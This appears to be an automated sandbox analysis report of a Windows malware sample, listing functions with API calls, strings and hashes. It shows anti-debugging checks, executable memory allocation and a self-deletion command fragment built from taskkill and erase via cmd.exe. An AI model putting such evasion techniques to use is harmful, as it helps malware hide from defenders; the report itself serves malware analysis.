String ID: .exe$APPDATA$L]Z\$TMPDIR$open
API String ID: 519037321-3822968767
Opcode ID: f0d838dacd6b43a0aa5ccc2954b79dab091d59c70c30b4bbd887c5f4a424c239
Instruction ID: 4c484ed9f6f6e93db446342e9a78ef146d4cd5519f5341d444e70759ab5193d8
Opcode Fuzzy Hash: f0d838dacd6b43a0aa5ccc2954b79dab091d59c70c30b4bbd887c5f4a424c239
Instruction Fuzzy Hash: 96E1D371A102149BDB25DF28CC88B9DBBB5EB45304F1082EEE409B72D1D779AB84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0367003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0367024D

Strings

cess, xrefs: 0367018D
kernel32.dll, xrefs: 0367008F, 03670095

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: e829be9d41fad8d8f6a1d762fc606e2949664fcd2083975adc3cfb0e3a3364e0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: D7526A75A01229DFDB64CF68C984BACBBB1BF09304F5480D9E54DAB351DB30AA95CF24

Uniqueness

Uniqueness Score: -1.00%

Function 00403320 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(07EABFAD), ref: 0040334C

Part of subcall function 00403280: OpenProcess.KERNEL32(00000410,00000000), ref: 004032AB
Part of subcall function 00403280: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004032C6
Part of subcall function 00403280: CloseHandle.KERNEL32(00000000), ref: 004032CD

GetCurrentProcessId.KERNEL32 ref: 00403368

Part of subcall function 00403180: OpenProcess.KERNEL32(00000410,00000000), ref: 004031E0
Part of subcall function 00403180: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 004031FD
Part of subcall function 00403180: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 0040321A
Part of subcall function 00403180: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00403221

ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 00403409

Strings

" & exit, xrefs: 004033AF
/c taskkill /im ", xrefs: 0040337C
" /f & erase ", xrefs: 0040338D
C:\Windows\System32\cmd.exe, xrefs: 00403400

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentModuleNameOpen$BaseChangeEnumExecuteFileFindHandleModulesNotificationShell
String ID: " & exit$" /f & erase "$/c taskkill /im "$C:\Windows\System32\cmd.exe
API String ID: 2036142635-793869484
Opcode ID: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction ID: fb0b6ed5054053e95d24ec8103c54a69bce3c8d518daf5f3a9f7680b0ad669b0
Opcode Fuzzy Hash: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction Fuzzy Hash: EB215130E15258EAC710EBA5CC49BDD77B9AB14704F90417EE105B31D1DF782A49CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00403180 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 004031E0
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 004031FD
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 0040321A
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00403221

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Process$BaseChangeCloseEnumFindModuleModulesNameNotificationOpen
String ID:
API String ID: 1316604328-0
Opcode ID: b810b6b41822c9f40bfd186aff59ec884f0ef560b79faa1f172a7d6299ca592e
Instruction ID: a1b721af1f0ed9c57be033e3f546ceffd57cab54b484f6f8d29e48c769c32825
Opcode Fuzzy Hash: b810b6b41822c9f40bfd186aff59ec884f0ef560b79faa1f172a7d6299ca592e
Instruction Fuzzy Hash: 0C21D675D00219ABD721DF54DC05BEABBB8EF09304F0041EAE548A7280DBB45BC5CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00403280 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 004032AB
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004032C6
CloseHandle.KERNEL32(00000000), ref: 004032CD

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 673e854a51e056f46da57b56ff3cecce37ecaf99290c1da43620dda193a8965d
Instruction ID: 288d063c62d69e04bf88314488492230989fe5d5d229077e5b49cfed6eca7f34
Opcode Fuzzy Hash: 673e854a51e056f46da57b56ff3cecce37ecaf99290c1da43620dda193a8965d
Instruction Fuzzy Hash: 2F110474A00204ABD720DF14CC09BEABBB8EB45704F0041ADE58597280DBB95A8A8FD9

Uniqueness

Uniqueness Score: -1.00%

Function 00403FF0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L]Z\, xrefs: 00404193

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: L]Z\
API String ID: 1518329722-3060477307
Opcode ID: ece68ee1f7ea0fe30fb7147e94d19a9c2aab8d403c644cc713818558d1727cc2
Instruction ID: f1c4a59434b3f57d7cd8f2ce45f5fc494ed6bf856d1adeb8be9a5cbcf21d118c
Opcode Fuzzy Hash: ece68ee1f7ea0fe30fb7147e94d19a9c2aab8d403c644cc713818558d1727cc2
Instruction Fuzzy Hash: F5A19EB0A00258DBEB20DF15DD59BDEBB70AB52308F5081E9D5483B2C2D7B95B88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 03670E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,03670223,?,?), ref: 03670E19
SetErrorMode.KERNELBASE(00000000,?,?,03670223,?,?), ref: 03670E1E

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 812d1391b85e9097bd7079342f93970409f3ac454d1e213f60c68dac424dcafa
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: B0D01232245228B7DB002A94DC09BCEBB1CDF09BA2F448021FB0DE9180CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 01B2F4E5 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 01B2F536

Memory Dump Source

Source File: 00000000.00000002.1835201448.0000000001B2F000.00000040.00000020.00020000.00000000.sdmp, Offset: 01B2F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b2f000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 590cdce6796b3d766d5e8b47aba051bd633c34b82e2683ad738ace1dfc3816b9
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F0112879A00208EFDB01DF98C985E98BBF5AF08350F1580A4FA489B361D375EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00418FEE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 004190FA
IsValidCodePage.KERNEL32(00000000), ref: 00419143
IsValidLocale.KERNEL32(?,00000001), ref: 00419152
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0041919A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 004191B9

Strings

8B, xrefs: 004190A7

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: 8B
API String ID: 949163717-3070534924
Opcode ID: 347e3f9ff2deed443eb1ecf01b137901ee2e304a6c5880c1051b3628cfa29939
Instruction ID: f2ea0b11808f5ad6da1d466408d0e99a338890fa69785c6e259117abf3424843
Opcode Fuzzy Hash: 347e3f9ff2deed443eb1ecf01b137901ee2e304a6c5880c1051b3628cfa29939
Instruction Fuzzy Hash: 5551A571A00219AFEB10DFA5CC55AFF77B8BF48700F18442AE904E7291DB789D80CB69

Uniqueness

Uniqueness Score: -1.00%

Function 03674977 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 03674B10
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 03674CD1

Strings

(zB, xrefs: 03674C69
`a}{, xrefs: 03674ABA
`yB, xrefs: 03674CC7

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Init_thread_footerIos_base_dtorstd::ios_base::_
String ID: (zB$`a}{$`yB
API String ID: 3517786926-4178271309
Opcode ID: f3ef3f50cdcfa2438331feb99c9e6777feef7e2781c33b74aaaf7cd849e23be0
Instruction ID: 8f41b3a40ca22d5766d2a03ae0da90be162b5cfb60855c00745cf5f5bc8e7b6e
Opcode Fuzzy Hash: f3ef3f50cdcfa2438331feb99c9e6777feef7e2781c33b74aaaf7cd849e23be0
Instruction Fuzzy Hash: 21E1C475A002048FD719CF68C989BEEBBB1FF49304F94829CD445AB390DB71AD85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 03689080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,0368939E,00000002,00000000,?,?,?,0368939E,?,00000000), ref: 03689119
GetLocaleInfoW.KERNEL32(00000000,20001004,0368939E,00000002,00000000,?,?,?,0368939E,?,00000000), ref: 03689142
GetACP.KERNEL32(?,?,0368939E,?,00000000), ref: 03689157

Strings

ACP, xrefs: 0368909E
OCP, xrefs: 036890D4

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction ID: 1b0a9d1d261c2cb0e0dd030f7aeaec1eaa80ad56f081b0687e054b1ce549f5e2
Opcode Fuzzy Hash: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction Fuzzy Hash: 89218871704100A6DB34EF54CA44AB7B7EAEB4CB54F5A8664E94AD7314E732DA41C350

Uniqueness

Uniqueness Score: -1.00%

Function 00418E19 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00419137,00000002,00000000,?,?,?,00419137,?,00000000), ref: 00418EB2
GetLocaleInfoW.KERNEL32(00000000,20001004,00419137,00000002,00000000,?,?,?,00419137,?,00000000), ref: 00418EDB
GetACP.KERNEL32(?,?,00419137,?,00000000), ref: 00418EF0

Strings

OCP, xrefs: 00418E6D
ACP, xrefs: 00418E37

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction ID: ccd849e587f1a62e46e2c36e5e07e6a308489abd5d5b75d3c9eba274a3507da2
Opcode Fuzzy Hash: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction Fuzzy Hash: 49216072B00301EADB348F64C941AD773A6EB54B64B56842EE90AD7211EF3ADDC1C758

Uniqueness

Uniqueness Score: -1.00%

Function 03689255 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

Part of subcall function 03680FA7: _free.LIBCMT ref: 03681009
Part of subcall function 03680FA7: _free.LIBCMT ref: 0368103F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 03689361
IsValidCodePage.KERNEL32(00000000), ref: 036893AA
IsValidLocale.KERNEL32(?,00000001), ref: 036893B9
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 03689401
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 03689420

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: df7259d446a3af6e3576c934006f0cb77cadfdf5846bd1cc64a285e1449cbbda
Instruction ID: 161f3f0972f7f27292a846760e39e2daad0e7c1b7f4263e9a407842d2e1479a5
Opcode Fuzzy Hash: df7259d446a3af6e3576c934006f0cb77cadfdf5846bd1cc64a285e1449cbbda
Instruction Fuzzy Hash: 12518171A00205AFDF20EFA5CD44ABEB7F8BF4D700F184669E915EB290E7709945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 036788DC Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 036788E8
IsDebuggerPresent.KERNEL32 ref: 036789B4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 036789D4
UnhandledExceptionFilter.KERNEL32(?), ref: 036789DE

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction ID: 46ab9ca9ea3b6e3274b8ffb8f927e853200799a4de0630c1cc63cd345f32c7f8
Opcode Fuzzy Hash: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction Fuzzy Hash: 3E31F8B5D053189BDB10DFA4D989BCDBBF8AF08304F5041AAE409AB250EB719A85CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00408675 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00408681
IsDebuggerPresent.KERNEL32 ref: 0040874D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040876D
UnhandledExceptionFilter.KERNEL32(?), ref: 00408777

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction ID: e5ef794af57fc705f8d7f6759feeae2191713bbad705ce5cabcbc102cb35c609
Opcode Fuzzy Hash: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction Fuzzy Hash: 6D313AB5D0521CDBDB10DF61D9897CDBBB8BF08304F1040AAE449A7290EB755A858F09

Uniqueness

Uniqueness Score: -1.00%

Function 03688D07 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 03680FA7: GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
Part of subcall function 03680FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

Part of subcall function 03680FA7: _free.LIBCMT ref: 03681009
Part of subcall function 03680FA7: _free.LIBCMT ref: 0368103F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03688D5B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03688DA5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 03688E6B

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 4d324a8d221e2db5cd00d45a2086900a0be2c9c4073d16e4d4d15737deefaec0
Instruction ID: 757fe99e6fea9bdfb18255b226939ba890291ff96c2477f7094a1269f0aad245
Opcode Fuzzy Hash: 4d324a8d221e2db5cd00d45a2086900a0be2c9c4073d16e4d4d15737deefaec0
Instruction Fuzzy Hash: 9161E3715502079FDB28EF24CE85BBAB3A9EF08340F4842B9ED05DB680E738D981CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00418AA0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418AF4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418B3E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418C04

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 7a0103c3606fc1b1cf257e1aebf6673b563413e6e1f34c107648093f688563aa
Instruction ID: 62e4f11421f62e9a021dd1c2b3578532f2af4b42d9ef0fa46f200eb611ea5353
Opcode Fuzzy Hash: 7a0103c3606fc1b1cf257e1aebf6673b563413e6e1f34c107648093f688563aa
Instruction Fuzzy Hash: B1616D7190160A9BDB249F24CD82BEB77A8EB44304F14416FED05C6685FB38E9C1DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0367C3E2 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0367C4DA
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0367C4E4
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0367C4F1

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d3ce0527382caf87a4183dbc95e1f4699e67cea7b1975356a88f3a13daa3af49
Instruction ID: 637f682db9f1d1e1406884a8aab0cfbc14c75946e589b17f9c618be767199e1d
Opcode Fuzzy Hash: d3ce0527382caf87a4183dbc95e1f4699e67cea7b1975356a88f3a13daa3af49
Instruction Fuzzy Hash: 3B31C47491132C9BCB21DF68D9887DDBBB8BF08310F5041EAE40CA7250E7709B858F49

Uniqueness

Uniqueness Score: -1.00%

Function 0040C17B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0040C273
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040C27D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0040C28A

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a5f54cfeaeccfd4bf6f99a4a380b47e36f71b40a132b6e028f20ecdba15165bb
Instruction ID: a6faa4bbbb88fb92f52c0fa55cdc40f7aa00e4f6132fc0460b89e5881ce57408
Opcode Fuzzy Hash: a5f54cfeaeccfd4bf6f99a4a380b47e36f71b40a132b6e028f20ecdba15165bb
Instruction Fuzzy Hash: 8031D4B4D012289BCB21DF65D8897CDBBB4BF08714F5042EAE40CA7291E7349F858F49

Uniqueness

Uniqueness Score: -1.00%

Function 0367C8E8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0367C8E7,00000000,?,?,00000000,?,03681257), ref: 0367C90A
TerminateProcess.KERNEL32(00000000,?,0367C8E7,00000000,?,?,00000000,?,03681257), ref: 0367C911
ExitProcess.KERNEL32 ref: 0367C923

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction ID: e92abad593c94194085689baa6ace05a3a1a5aeba3c8cd7ab8af7791b79984ac
Opcode Fuzzy Hash: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction Fuzzy Hash: 68E0EC75400248FFCF51AF68DD19A983F6DFF48295F448428F8498A631DB39DE82CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0367092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 03670966
GetProcAddress., xrefs: 036709DC, 036709DF, 036709E4
., xrefs: 0367095F

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 80123d64936866f13745d96e16096d0bdf945d24669c3ee8a9571ce094afa4b7
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 583149B6910609DFDB10CF99C980AAEFBF9FF48324F55504AD441AB310D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA21 Relevance: 3.0, APIs: 2, Instructions: 34timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0040CA34
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040CA65

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 402b09224e765d9c673da96c5e2a658b9df076d986dd95d77c69bcc386cff3ad
Instruction ID: 0e7b9b1a7ad9db58c854e3c05b3852f61de941fb3dcead200a35e6012f668bef
Opcode Fuzzy Hash: 402b09224e765d9c673da96c5e2a658b9df076d986dd95d77c69bcc386cff3ad
Instruction Fuzzy Hash: 32F0F630A10208FBDB04DF64CC85BAD7AA8FB40329F20876AA502E22C0D6789A008B59

Uniqueness

Uniqueness Score: -1.00%

Function 036836CB Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,036836C6,?,?,?,?,?,?,00000000), ref: 036838F8

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction ID: 554c85d181dad763b63e18c90cdfb6f566326045707327746cc58e29220d455d
Opcode Fuzzy Hash: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction Fuzzy Hash: C0B15E79610604DFDB14DF18C58AB64BBA0FF49764F298658E899CF3A1D335E982CF40

Uniqueness

Uniqueness Score: -1.00%

